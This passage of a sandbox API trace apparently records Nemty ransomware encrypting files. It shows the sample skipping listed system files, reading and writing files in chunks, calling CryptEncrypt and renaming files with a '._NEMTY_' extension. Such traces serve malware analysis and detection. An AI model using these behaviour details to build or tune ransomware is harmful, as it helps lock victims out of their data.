lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.131] CloseHandle (hObject=0xffffffff) returned 0 [0140.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0140.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340440 [0140.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0140.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0140.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_right.png._nemty_kgobjgd_")) returned 0 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.132] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2=".") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="..") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="...") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="windows") returned -1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="$RECYCLE.BIN") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="rsa") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="NTDETECT.COM") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="ntldr") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="MSDOS.SYS") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="IO.SYS") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="boot.ini") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="boot.ini") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="ntuser.dat") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="desktop.ini") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="CONFIG.SYS") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="RECYCLER") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="BOOTSECT.BAK") returned 1 [0140.132] lstrcmpiW (lpString1="settings_divider.png", lpString2="bootmgr") returned 1 [0140.133] lstrcmpiW (lpString1="settings_divider.png", lpString2="programdata") returned 1 [0140.133] lstrcmpiW (lpString1="settings_divider.png", lpString2="appdata") returned 1 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0140.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0140.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0140.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0140.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider.png", lpUsedDefaultChar=0x0) returned 20 [0140.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340120 [0140.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0140.133] Sleep (dwMilliseconds=0x5) [0140.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x72e85b0, dwHighDateTime=0x1d561e8)) [0140.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x72e85b0, dwHighDateTime=0x1d561e8)) [0140.148] GetLastError () returned 0x5 [0140.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.148] GetLastError () returned 0x5 [0140.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.148] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.148] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.149] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e8 [0140.149] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e8, pcchString=0x653e91c | out: pszString="lfeLOG27xsIzGXln3l+cNp4rh/2irB7KLF2mzMyvUBZcedYaF9YXoYCXTeUEafxf\r\nxOH43QIwssNT+MbgflQ//FH0WrEJZ2yqVCL4aW/PrtxEXUt7Pfos3HaZyGm9ToPg\r\nazsS2dFrwS5sDnyuMZdU/xO+/bIV7A2MI2E1xvrB/z5Z66ktYTKtVGfKhqiaiMj0\r\nb3iD3AulMLZfTdTrqGuYU2zn1JK5dlyTp6E36AAFZmB1ykr03b10qjQJLj9jYJxA\r\nktgQcEQpTalqcDnP0g7UQIhcLkthhSTNn9FFMU8xs3DQptcmWb/TUYc97R14PMd/\r\nttxyOu3VKxKwTlVa9Cg2Ng==\r\n", pcchString=0x653e91c) returned 1 [0140.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0140.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e8 [0140.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.149] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.149] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 